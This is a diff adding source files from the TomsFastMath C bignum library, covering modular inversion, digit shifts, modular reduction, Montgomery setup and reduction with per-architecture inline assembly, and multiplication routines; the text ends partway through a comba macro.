int fp_invmod(fp_int *a, fp_int *b, fp_int *c)
{
fp_int x, y, u, v, B, D;
int neg;
/* 2. [modified] b must be odd */
if (fp_iseven (b) == FP_YES) {
return fp_invmod_slow(a,b,c);
}
/* init all our temps */
fp_init(&x); fp_init(&y);
fp_init(&u); fp_init(&v);
fp_init(&B); fp_init(&D);
/* x == modulus, y == value to invert */
fp_copy(b, &x);
/* we need y = |a| */
fp_abs(a, &y);
/* 3. u=x, v=y, A=1, B=0, C=0,D=1 */
fp_copy(&x, &u);
fp_copy(&y, &v);
fp_set (&D, 1);
top:
/* 4. while u is even do */
while (fp_iseven (&u) == FP_YES) {
/* 4.1 u = u/2 */
fp_div_2 (&u, &u);
/* 4.2 if B is odd then */
if (fp_isodd (&B) == FP_YES) {
fp_sub (&B, &x, &B);
}
/* B = B/2 */
fp_div_2 (&B, &B);
}
/* 5. while v is even do */
while (fp_iseven (&v) == FP_YES) {
/* 5.1 v = v/2 */
fp_div_2 (&v, &v);
/* 5.2 if D is odd then */
if (fp_isodd (&D) == FP_YES) {
/* D = (D-x)/2 */
fp_sub (&D, &x, &D);
}
/* D = D/2 */
fp_div_2 (&D, &D);
}
/* 6. if u >= v then */
if (fp_cmp (&u, &v) != FP_LT) {
/* u = u - v, B = B - D */
fp_sub (&u, &v, &u);
fp_sub (&B, &D, &B);
} else {
/* v - v - u, D = D - B */
fp_sub (&v, &u, &v);
fp_sub (&D, &B, &D);
}
/* if not zero goto step 4 */
if (fp_iszero (&u) == FP_NO) {
goto top;
}
/* now a = C, b = D, gcd == g*v */
/* if v != 1 then there is no inverse */
if (fp_cmp_d (&v, 1) != FP_EQ) {
return FP_VAL;
}
/* b is now the inverse */
neg = a->sign;
while (D.sign == FP_NEG) {
fp_add (&D, b, &D);
}
fp_copy (&D, c);
c->sign = neg;
return FP_OKAY;
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

38
src/crypto/tfm/fp_lshd.c Normal file
View File

@ -0,0 +1,38 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
void fp_lshd(fp_int *a, int x)
{
int y;
/* move up and truncate as required */
y = MIN(a->used + x - 1, (int)(FP_SIZE-1));
/* store new size */
a->used = y + 1;
/* move digits */
for (; y >= x; y--) {
a->dp[y] = a->dp[y-x];
}
/* zero lower digits */
for (; y >= 0; y--) {
a->dp[y] = 0;
}
/* clamp digits */
fp_clamp(a);
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

34
src/crypto/tfm/fp_mod.c Normal file
View File

@ -0,0 +1,34 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* c = a mod b, 0 <= c < b */
int fp_mod(fp_int *a, fp_int *b, fp_int *c)
{
fp_int t;
int err;
fp_zero(&t);
if ((err = fp_div(a, b, NULL, &t)) != FP_OKAY) {
return err;
}
if (t.sign != b->sign) {
fp_add(&t, b, c);
} else {
fp_copy(&t, c);
}
return FP_OKAY;
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,42 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* c = a mod 2**d */
void fp_mod_2d(fp_int *a, int b, fp_int *c)
{
int x;
/* zero if count less than or equal to zero */
if (b <= 0) {
fp_zero(c);
return;
}
/* get copy of input */
fp_copy(a, c);
/* if 2**d is larger than we just return */
if (b >= (DIGIT_BIT * a->used)) {
return;
}
/* zero digits above the last digit of the modulus */
for (x = (b / DIGIT_BIT) + ((b % DIGIT_BIT) == 0 ? 0 : 1); x < c->used; x++) {
c->dp[x] = 0;
}
/* clear the digit that is not completely outside/inside the modulus */
c->dp[b / DIGIT_BIT] &= ~((fp_digit)0) >> (DIGIT_BIT - b);
fp_clamp (c);
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,43 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* computes a = B**n mod b without division or multiplication useful for
* normalizing numbers in a Montgomery system.
*/
void fp_montgomery_calc_normalization(fp_int *a, fp_int *b)
{
int x, bits;
/* how many bits of last digit does b use */
bits = fp_count_bits (b) % DIGIT_BIT;
if (!bits) bits = DIGIT_BIT;
/* compute A = B^(n-1) * 2^(bits-1) */
if (b->used > 1) {
fp_2expt (a, (b->used - 1) * DIGIT_BIT + bits - 1);
} else {
fp_set(a, 1);
bits = 1;
}
/* now compute C = A * B mod b */
for (x = bits - 1; x < (int)DIGIT_BIT; x++) {
fp_mul_2 (a, a);
if (fp_cmp_mag (a, b) != FP_LT) {
s_fp_sub (a, b, a);
}
}
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,552 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/******************************************************************/
#if defined(TFM_X86) && !defined(TFM_SSE2)
/* x86-32 code */
#define MONT_START
#define MONT_FINI
#define LOOP_END
#define LOOP_START \
mu = c[x] * mp
#define INNERMUL \
asm( \
"movl %5,%%eax \n\t" \
"mull %4 \n\t" \
"addl %1,%%eax \n\t" \
"adcl $0,%%edx \n\t" \
"addl %%eax,%0 \n\t" \
"adcl $0,%%edx \n\t" \
"movl %%edx,%1 \n\t" \
:"=g"(_c[LO]), "=r"(cy) \
:"0"(_c[LO]), "1"(cy), "r"(mu), "r"(*tmpm++) \
: "%eax", "%edx", "cc")
#define PROPCARRY \
asm( \
"addl %1,%0 \n\t" \
"setb %%al \n\t" \
"movzbl %%al,%1 \n\t" \
:"=g"(_c[LO]), "=r"(cy) \
:"0"(_c[LO]), "1"(cy) \
: "%eax", "cc")
/******************************************************************/
#elif defined(TFM_X86_64)
/* x86-64 code */
#define MONT_START
#define MONT_FINI
#define LOOP_END
#define LOOP_START \
mu = c[x] * mp
#define INNERMUL \
asm( \
"movq %5,%%rax \n\t" \
"mulq %4 \n\t" \
"addq %1,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"addq %%rax,%0 \n\t" \
"adcq $0,%%rdx \n\t" \
"movq %%rdx,%1 \n\t" \
:"=g"(_c[LO]), "=r"(cy) \
:"0"(_c[LO]), "1"(cy), "r"(mu), "r"(*tmpm++) \
: "%rax", "%rdx", "cc")
#define INNERMUL8 \
asm( \
"movq 0(%5),%%rax \n\t" \
"movq 0(%2),%%r10 \n\t" \
"movq 0x8(%5),%%r11 \n\t" \
"mulq %4 \n\t" \
"addq %%r10,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq 0x8(%2),%%r10 \n\t" \
"addq %3,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq %%rax,0(%0) \n\t" \
"movq %%rdx,%1 \n\t" \
\
"movq %%r11,%%rax \n\t" \
"movq 0x10(%5),%%r11 \n\t" \
"mulq %4 \n\t" \
"addq %%r10,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq 0x10(%2),%%r10 \n\t" \
"addq %3,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq %%rax,0x8(%0) \n\t" \
"movq %%rdx,%1 \n\t" \
\
"movq %%r11,%%rax \n\t" \
"movq 0x18(%5),%%r11 \n\t" \
"mulq %4 \n\t" \
"addq %%r10,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq 0x18(%2),%%r10 \n\t" \
"addq %3,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq %%rax,0x10(%0) \n\t" \
"movq %%rdx,%1 \n\t" \
\
"movq %%r11,%%rax \n\t" \
"movq 0x20(%5),%%r11 \n\t" \
"mulq %4 \n\t" \
"addq %%r10,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq 0x20(%2),%%r10 \n\t" \
"addq %3,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq %%rax,0x18(%0) \n\t" \
"movq %%rdx,%1 \n\t" \
\
"movq %%r11,%%rax \n\t" \
"movq 0x28(%5),%%r11 \n\t" \
"mulq %4 \n\t" \
"addq %%r10,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq 0x28(%2),%%r10 \n\t" \
"addq %3,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq %%rax,0x20(%0) \n\t" \
"movq %%rdx,%1 \n\t" \
\
"movq %%r11,%%rax \n\t" \
"movq 0x30(%5),%%r11 \n\t" \
"mulq %4 \n\t" \
"addq %%r10,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq 0x30(%2),%%r10 \n\t" \
"addq %3,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq %%rax,0x28(%0) \n\t" \
"movq %%rdx,%1 \n\t" \
\
"movq %%r11,%%rax \n\t" \
"movq 0x38(%5),%%r11 \n\t" \
"mulq %4 \n\t" \
"addq %%r10,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq 0x38(%2),%%r10 \n\t" \
"addq %3,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq %%rax,0x30(%0) \n\t" \
"movq %%rdx,%1 \n\t" \
\
"movq %%r11,%%rax \n\t" \
"mulq %4 \n\t" \
"addq %%r10,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"addq %3,%%rax \n\t" \
"adcq $0,%%rdx \n\t" \
"movq %%rax,0x38(%0) \n\t" \
"movq %%rdx,%1 \n\t" \
\
:"=r"(_c), "=r"(cy) \
: "0"(_c), "1"(cy), "g"(mu), "r"(tmpm)\
: "%rax", "%rdx", "%r10", "%r11", "cc")
#define PROPCARRY \
asm( \
"addq %1,%0 \n\t" \
"setb %%al \n\t" \
"movzbq %%al,%1 \n\t" \
:"=g"(_c[LO]), "=r"(cy) \
:"0"(_c[LO]), "1"(cy) \
: "%rax", "cc")
/******************************************************************/
#elif defined(TFM_SSE2)
/* SSE2 code (assumes 32-bit fp_digits) */
/* XMM register assignments:
* xmm0 *tmpm++, then Mu * (*tmpm++)
* xmm1 c[x], then Mu
* xmm2 mp
* xmm3 cy
* xmm4 _c[LO]
*/
#define MONT_START \
asm("movd %0,%%mm2"::"g"(mp))
#define MONT_FINI \
asm("emms")
#define LOOP_START \
asm( \
"movd %0,%%mm1 \n\t" \
"pxor %%mm3,%%mm3 \n\t" \
"pmuludq %%mm2,%%mm1 \n\t" \
:: "g"(c[x]))
/* pmuludq on mmx registers does a 32x32->64 multiply. */
#define INNERMUL \
asm( \
"movd %1,%%mm4 \n\t" \
"movd %2,%%mm0 \n\t" \
"paddq %%mm4,%%mm3 \n\t" \
"pmuludq %%mm1,%%mm0 \n\t" \
"paddq %%mm0,%%mm3 \n\t" \
"movd %%mm3,%0 \n\t" \
"psrlq $32, %%mm3 \n\t" \
:"=g"(_c[LO]) : "0"(_c[LO]), "g"(*tmpm++) );
#define INNERMUL8 \
asm( \
"movd 0(%1),%%mm4 \n\t" \
"movd 0(%2),%%mm0 \n\t" \
"paddq %%mm4,%%mm3 \n\t" \
"pmuludq %%mm1,%%mm0 \n\t" \
"movd 4(%2),%%mm5 \n\t" \
"paddq %%mm0,%%mm3 \n\t" \
"movd 4(%1),%%mm6 \n\t" \
"movd %%mm3,0(%0) \n\t" \
"psrlq $32, %%mm3 \n\t" \
\
"paddq %%mm6,%%mm3 \n\t" \
"pmuludq %%mm1,%%mm5 \n\t" \
"movd 8(%2),%%mm6 \n\t" \
"paddq %%mm5,%%mm3 \n\t" \
"movd 8(%1),%%mm7 \n\t" \
"movd %%mm3,4(%0) \n\t" \
"psrlq $32, %%mm3 \n\t" \
\
"paddq %%mm7,%%mm3 \n\t" \
"pmuludq %%mm1,%%mm6 \n\t" \
"movd 12(%2),%%mm7 \n\t" \
"paddq %%mm6,%%mm3 \n\t" \
"movd 12(%1),%%mm5 \n\t" \
"movd %%mm3,8(%0) \n\t" \
"psrlq $32, %%mm3 \n\t" \
\
"paddq %%mm5,%%mm3 \n\t" \
"pmuludq %%mm1,%%mm7 \n\t" \
"movd 16(%2),%%mm5 \n\t" \
"paddq %%mm7,%%mm3 \n\t" \
"movd 16(%1),%%mm6 \n\t" \
"movd %%mm3,12(%0) \n\t" \
"psrlq $32, %%mm3 \n\t" \
\
"paddq %%mm6,%%mm3 \n\t" \
"pmuludq %%mm1,%%mm5 \n\t" \
"movd 20(%2),%%mm6 \n\t" \
"paddq %%mm5,%%mm3 \n\t" \
"movd 20(%1),%%mm7 \n\t" \
"movd %%mm3,16(%0) \n\t" \
"psrlq $32, %%mm3 \n\t" \
\
"paddq %%mm7,%%mm3 \n\t" \
"pmuludq %%mm1,%%mm6 \n\t" \
"movd 24(%2),%%mm7 \n\t" \
"paddq %%mm6,%%mm3 \n\t" \
"movd 24(%1),%%mm5 \n\t" \
"movd %%mm3,20(%0) \n\t" \
"psrlq $32, %%mm3 \n\t" \
\
"paddq %%mm5,%%mm3 \n\t" \
"pmuludq %%mm1,%%mm7 \n\t" \
"movd 28(%2),%%mm5 \n\t" \
"paddq %%mm7,%%mm3 \n\t" \
"movd 28(%1),%%mm6 \n\t" \
"movd %%mm3,24(%0) \n\t" \
"psrlq $32, %%mm3 \n\t" \
\
"paddq %%mm6,%%mm3 \n\t" \
"pmuludq %%mm1,%%mm5 \n\t" \
"paddq %%mm5,%%mm3 \n\t" \
"movd %%mm3,28(%0) \n\t" \
"psrlq $32, %%mm3 \n\t" \
:"=r"(_c) : "0"(_c), "g"(tmpm) );
#define LOOP_END \
asm( "movd %%mm3,%0 \n" :"=r"(cy))
#define PROPCARRY \
asm( \
"addl %1,%0 \n\t" \
"setb %%al \n\t" \
"movzbl %%al,%1 \n\t" \
:"=g"(_c[LO]), "=r"(cy) \
:"0"(_c[LO]), "1"(cy) \
: "%eax", "cc")
/******************************************************************/
#elif defined(TFM_ARM)
/* ARMv4 code */
#define MONT_START
#define MONT_FINI
#define LOOP_END
#define LOOP_START \
mu = c[x] * mp
#define INNERMUL \
asm( \
" LDR r0,%1 \n\t" \
" ADDS r0,r0,%0 \n\t" \
" MOVCS %0,#1 \n\t" \
" MOVCC %0,#0 \n\t" \
" UMLAL r0,%0,%3,%4 \n\t" \
" STR r0,%1 \n\t" \
:"=r"(cy),"=m"(_c[0]):"0"(cy),"r"(mu),"r"(*tmpm++),"1"(_c[0]):"r0","cc");
#define PROPCARRY \
asm( \
" LDR r0,%1 \n\t" \
" ADDS r0,r0,%0 \n\t" \
" STR r0,%1 \n\t" \
" MOVCS %0,#1 \n\t" \
" MOVCC %0,#0 \n\t" \
:"=r"(cy),"=m"(_c[0]):"0"(cy),"1"(_c[0]):"r0","cc");
/******************************************************************/
#elif defined(TFM_PPC32)
/* PPC32 */
#define MONT_START
#define MONT_FINI
#define LOOP_END
#define LOOP_START \
mu = c[x] * mp
#define INNERMUL \
asm( \
" mullw 16,%3,%4 \n\t" \
" mulhwu 17,%3,%4 \n\t" \
" addc 16,16,%2 \n\t" \
" addze 17,17 \n\t" \
" addc %1,16,%5 \n\t" \
" addze %0,17 \n\t" \
:"=r"(cy),"=r"(_c[0]):"0"(cy),"r"(mu),"r"(tmpm[0]),"1"(_c[0]):"16", "17", "cc"); ++tmpm;
#define PROPCARRY \
asm( \
" addc %1,%3,%2 \n\t" \
" xor %0,%2,%2 \n\t" \
" addze %0,%2 \n\t" \
:"=r"(cy),"=r"(_c[0]):"0"(cy),"1"(_c[0]):"cc");
/******************************************************************/
#elif defined(TFM_PPC64)
/* PPC64 */
#define MONT_START
#define MONT_FINI
#define LOOP_END
#define LOOP_START \
mu = c[x] * mp
#define INNERMUL \
asm( \
" mulld r16,%3,%4 \n\t" \
" mulhdu r17,%3,%4 \n\t" \
" addc r16,16,%0 \n\t" \
" addze r17,r17 \n\t" \
" ldx r18,0,%1 \n\t" \
" addc r16,r16,r18 \n\t" \
" addze %0,r17 \n\t" \
" sdx r16,0,%1 \n\t" \
:"=r"(cy),"=m"(_c[0]):"0"(cy),"r"(mu),"r"(tmpm[0]),"1"(_c[0]):"r16", "r17", "r18","cc"); ++tmpm;
#define PROPCARRY \
asm( \
" ldx r16,0,%1 \n\t" \
" addc r16,r16,%0 \n\t" \
" sdx r16,0,%1 \n\t" \
" xor %0,%0,%0 \n\t" \
" addze %0,%0 \n\t" \
:"=r"(cy),"=m"(_c[0]):"0"(cy),"1"(_c[0]):"r16","cc");
/******************************************************************/
#elif defined(TFM_AVR32)
/* AVR32 */
#define MONT_START
#define MONT_FINI
#define LOOP_END
#define LOOP_START \
mu = c[x] * mp
#define INNERMUL \
asm( \
" ld.w r2,%1 \n\t" \
" add r2,%0 \n\t" \
" eor r3,r3 \n\t" \
" acr r3 \n\t" \
" macu.d r2,%3,%4 \n\t" \
" st.w %1,r2 \n\t" \
" mov %0,r3 \n\t" \
:"=r"(cy),"=r"(_c):"0"(cy),"r"(mu),"r"(*tmpm++),"1"(_c):"r2","r3");
#define PROPCARRY \
asm( \
" ld.w r2,%1 \n\t" \
" add r2,%0 \n\t" \
" st.w %1,r2 \n\t" \
" eor %0,%0 \n\t" \
" acr %0 \n\t" \
:"=r"(cy),"=r"(&_c[0]):"0"(cy),"1"(&_c[0]):"r2","cc");
/******************************************************************/
#elif defined(TFM_MIPS)
/* MIPS */
#define MONT_START
#define MONT_FINI
#define LOOP_END
#define LOOP_START \
mu = c[x] * mp
#define INNERMUL \
asm( \
" multu %3,%4 \n\t" \
" mflo $12 \n\t" \
" mfhi $13 \n\t" \
" addu $12,$12,%0 \n\t" \
" sltu $10,$12,%0 \n\t" \
" addu $13,$13,$10 \n\t" \
" lw $10,%1 \n\t" \
" addu $12,$12,$10 \n\t" \
" sltu $10,$12,$10 \n\t" \
" addu %0,$13,$10 \n\t" \
" sw $12,%1 \n\t" \
:"=r"(cy),"=m"(_c[0]):"0"(cy),"r"(mu),"r"(tmpm[0]),"1"(_c[0]):"$10","$12","$13"); ++tmpm;
#define PROPCARRY \
asm( \
" lw $10,%1 \n\t" \
" addu $10,$10,%0 \n\t" \
" sw $10,%1 \n\t" \
" sltu %0,$10,%0 \n\t" \
:"=r"(cy),"=m"(_c[0]):"0"(cy),"1"(_c[0]):"$10");
/******************************************************************/
#else
/* ISO C code */
#define MONT_START
#define MONT_FINI
#define LOOP_END
#define LOOP_START \
mu = c[x] * mp
#define INNERMUL \
do { fp_word t; \
_c[0] = t = ((fp_word)_c[0] + (fp_word)cy) + \
(((fp_word)mu) * ((fp_word)*tmpm++)); \
cy = (t >> DIGIT_BIT); \
} while (0)
#define PROPCARRY \
do { fp_digit t = _c[0] += cy; cy = (t < cy); } while (0)
#endif
/******************************************************************/
#define LO 0
#ifdef TFM_SMALL_MONT_SET
#include "fp_mont_small.i"
#endif
/* computes x/R == x (mod N) via Montgomery Reduction */
void fp_montgomery_reduce(fp_int *a, fp_int *m, fp_digit mp)
{
fp_digit c[FP_SIZE], *_c, *tmpm, mu;
int oldused, x, y, pa;
/* bail if too large */
if (m->used > (FP_SIZE/2)) {
return;
}
#ifdef TFM_SMALL_MONT_SET
if (m->used <= 16) {
fp_montgomery_reduce_small(a, m, mp);
return;
}
#endif
#if defined(USE_MEMSET)
/* now zero the buff */
memset(c, 0, sizeof c);
#endif
pa = m->used;
/* copy the input */
oldused = a->used;
for (x = 0; x < oldused; x++) {
c[x] = a->dp[x];
}
#if !defined(USE_MEMSET)
for (; x < 2*pa+1; x++) {
c[x] = 0;
}
#endif
MONT_START;
for (x = 0; x < pa; x++) {
fp_digit cy = 0;
/* get Mu for this round */
LOOP_START;
_c = c + x;
tmpm = m->dp;
y = 0;
#if defined(INNERMUL8)
for (; y < (pa & ~7); y += 8) {
INNERMUL8;
_c += 8;
tmpm += 8;
}
#endif
for (; y < pa; y++) {
INNERMUL;
++_c;
}
LOOP_END;
while (cy) {
PROPCARRY;
++_c;
}
}
/* now copy out */
_c = c + pa;
tmpm = a->dp;
for (x = 0; x < pa+1; x++) {
*tmpm++ = *_c++;
}
for (; x < oldused; x++) {
*tmpm++ = 0;
}
MONT_FINI;
a->used = pa+1;
fp_clamp(a);
/* if A >= m then A = A - m */
if (fp_cmp_mag (a, m) != FP_LT) {
s_fp_sub (a, m, a);
}
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,48 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* setups the montgomery reduction */
int fp_montgomery_setup(fp_int *a, fp_digit *rho)
{
fp_digit x, b;
/* fast inversion mod 2**k
*
* Based on the fact that
*
* XA = 1 (mod 2**n) => (X(2-XA)) A = 1 (mod 2**2n)
* => 2*X*A - X*X*A*A = 1
* => 2*(1) - (1) = 1
*/
b = a->dp[0];
if ((b & 1) == 0) {
return FP_VAL;
}
x = (((b + 2) & 4) << 1) + b; /* here x*a==1 mod 2**4 */
x *= 2 - b * x; /* here x*a==1 mod 2**8 */
x *= 2 - b * x; /* here x*a==1 mod 2**16 */
x *= 2 - b * x; /* here x*a==1 mod 2**32 */
#ifdef FP_64BIT
x *= 2 - b * x; /* here x*a==1 mod 2**64 */
#endif
/* rho = -1/m mod b */
*rho = (((fp_word) 1 << ((fp_word) DIGIT_BIT)) - ((fp_word)x));
return FP_OKAY;
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

141
src/crypto/tfm/fp_mul.c Normal file
View File

@ -0,0 +1,141 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* c = a * b */
void fp_mul(fp_int *A, fp_int *B, fp_int *C)
{
int y, old_used;
#if FP_SIZE >= 48 && (defined(TFM_MUL24) || defined(TFM_MUL28) || \
defined(TFM_MUL32) || defined(TFM_MUL48) || defined(TFM_MUL64))
int yy;
#endif
old_used = C->used;
/* call generic if we're out of range */
if (A->used + B->used > FP_SIZE) {
fp_mul_comba(A, B, C);
goto clean;
}
y = MAX(A->used, B->used);
#if FP_SIZE >= 48 && (defined(TFM_MUL24) || defined(TFM_MUL28) || \
defined(TFM_MUL32) || defined(TFM_MUL48) || defined(TFM_MUL64))
yy = MIN(A->used, B->used);
#endif
/* pick a comba (unrolled 4/8/16/32 x or rolled) based on the size
of the largest input. We also want to avoid doing excess mults if the
inputs are not close to the next power of two. That is, for example,
if say y=17 then we would do (32-17)^2 = 225 unneeded multiplications
*/
#if defined(TFM_MUL3) && FP_SIZE >= 6
if (y <= 3) {
fp_mul_comba3(A,B,C);
goto clean;
}
#endif
#if defined(TFM_MUL4) && FP_SIZE >= 8
if (y == 4) {
fp_mul_comba4(A,B,C);
goto clean;
}
#endif
#if defined(TFM_MUL6) && FP_SIZE >= 12
if (y <= 6) {
fp_mul_comba6(A,B,C);
goto clean;
}
#endif
#if defined(TFM_MUL7) && FP_SIZE >= 14
if (y == 7) {
fp_mul_comba7(A,B,C);
goto clean;
}
#endif
#if defined(TFM_MUL8) && FP_SIZE >= 16
if (y == 8) {
fp_mul_comba8(A,B,C);
goto clean;
}
#endif
#if defined(TFM_MUL9) && FP_SIZE >= 18
if (y == 9) {
fp_mul_comba9(A,B,C);
goto clean;
}
#endif
#if defined(TFM_MUL12) && FP_SIZE >= 24
if (y <= 12) {
fp_mul_comba12(A,B,C);
goto clean;
}
#endif
#if defined(TFM_MUL17) && FP_SIZE >= 34
if (y <= 17) {
fp_mul_comba17(A,B,C);
goto clean;
}
#endif
#if defined(TFM_SMALL_SET) && FP_SIZE >= 32
if (y <= 16) {
fp_mul_comba_small(A,B,C);
goto clean;
}
#endif
#if defined(TFM_MUL20) && FP_SIZE >= 40
if (y <= 20) {
fp_mul_comba20(A,B,C);
goto clean;
}
#endif
#if defined(TFM_MUL24) && FP_SIZE >= 48
if (yy >= 16 && y <= 24) {
fp_mul_comba24(A,B,C);
goto clean;
}
#endif
#if defined(TFM_MUL28) && FP_SIZE >= 56
if (yy >= 20 && y <= 28) {
fp_mul_comba28(A,B,C);
goto clean;
}
#endif
#if defined(TFM_MUL32) && FP_SIZE >= 64
if (yy >= 24 && y <= 32) {
fp_mul_comba32(A,B,C);
goto clean;
}
#endif
#if defined(TFM_MUL48) && FP_SIZE >= 96
if (yy >= 40 && y <= 48) {
fp_mul_comba48(A,B,C);
goto clean;
}
#endif
#if defined(TFM_MUL64) && FP_SIZE >= 128
if (yy >= 56 && y <= 64) {
fp_mul_comba64(A,B,C);
goto clean;
}
#endif
fp_mul_comba(A,B,C);
clean:
for (y = C->used; y < old_used; y++) {
C->dp[y] = 0;
}
}
/* $Source: /cvs/libtom/tomsfastmath/src/mul/fp_mul.c,v $ */
/* $Revision: 1.1 $ */
/* $Date: 2006/12/31 21:25:53 $ */

67
src/crypto/tfm/fp_mul_2.c Normal file
View File

@ -0,0 +1,67 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
void fp_mul_2(fp_int * a, fp_int * b)
{
int x, oldused;
oldused = b->used;
b->used = a->used;
{
register fp_digit r, rr, *tmpa, *tmpb;
/* alias for source */
tmpa = a->dp;
/* alias for dest */
tmpb = b->dp;
/* carry */
r = 0;
for (x = 0; x < a->used; x++) {
/* get what will be the *next* carry bit from the
* MSB of the current digit
*/
rr = *tmpa >> ((fp_digit)(DIGIT_BIT - 1));
/* now shift up this digit, add in the carry [from the previous] */
*tmpb++ = ((*tmpa++ << ((fp_digit)1)) | r);
/* copy the carry that would be from the source
* digit into the next iteration
*/
r = rr;
}
/* new leading digit? */
if (r != 0 && b->used != (FP_SIZE-1)) {
/* add a MSB which is always 1 at this point */
*tmpb = 1;
++(b->used);
}
/* now zero any excess digits on the destination
* that we didn't write to
*/
tmpb = b->dp + b->used;
for (x = b->used; x < oldused; x++) {
*tmpb++ = 0;
}
}
b->sign = a->sign;
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,47 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* c = a * 2**d */
void fp_mul_2d(fp_int *a, int b, fp_int *c)
{
fp_digit carry, carrytmp, shift;
int x;
/* copy it */
fp_copy(a, c);
/* handle whole digits */
if (b >= DIGIT_BIT) {
fp_lshd(c, b/DIGIT_BIT);
}
b %= DIGIT_BIT;
/* shift the digits */
if (b != 0) {
carry = 0;
shift = DIGIT_BIT - b;
for (x = 0; x < c->used; x++) {
carrytmp = c->dp[x] >> shift;
c->dp[x] = (c->dp[x] << b) + carry;
carry = carrytmp;
}
/* store last carry if room */
if (carry && x < FP_SIZE) {
c->dp[c->used++] = carry;
}
}
fp_clamp(c);
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,373 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
/* About this file...
*/
#include <tfm_private.h>
#if defined(TFM_PRESCOTT) && defined(TFM_SSE2)
#undef TFM_SSE2
#define TFM_X86
#endif
/* these are the combas. Worship them. */
#if defined(TFM_X86)
/* Generic x86 optimized code */
/* anything you need at the start */
#define COMBA_START
/* clear the chaining variables */
#define COMBA_CLEAR \
c0 = c1 = c2 = 0;
/* forward the carry to the next digit */
#define COMBA_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
/* store the first sum */
#define COMBA_STORE(x) \
x = c0;
/* store the second sum [carry] */
#define COMBA_STORE2(x) \
x = c1;
/* anything you need at the end */
#define COMBA_FINI
/* this should multiply i and j */
#define MULADD(i, j) \
asm( \
"movl %6,%%eax \n\t" \
"mull %7 \n\t" \
"addl %%eax,%0 \n\t" \
"adcl %%edx,%1 \n\t" \
"adcl $0,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2): "0"(c0), "1"(c1), "2"(c2), "m"(i), "m"(j) :"%eax","%edx","cc");
#elif defined(TFM_X86_64)
/* x86-64 optimized */
/* anything you need at the start */
#define COMBA_START
/* clear the chaining variables */
#define COMBA_CLEAR \
c0 = c1 = c2 = 0;
/* forward the carry to the next digit */
#define COMBA_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
/* store the first sum */
#define COMBA_STORE(x) \
x = c0;
/* store the second sum [carry] */
#define COMBA_STORE2(x) \
x = c1;
/* anything you need at the end */
#define COMBA_FINI
/* this should multiply i and j */
#define MULADD(i, j) \
asm ( \
"movq %6,%%rax \n\t" \
"mulq %7 \n\t" \
"addq %%rax,%0 \n\t" \
"adcq %%rdx,%1 \n\t" \
"adcq $0,%2 \n\t" \
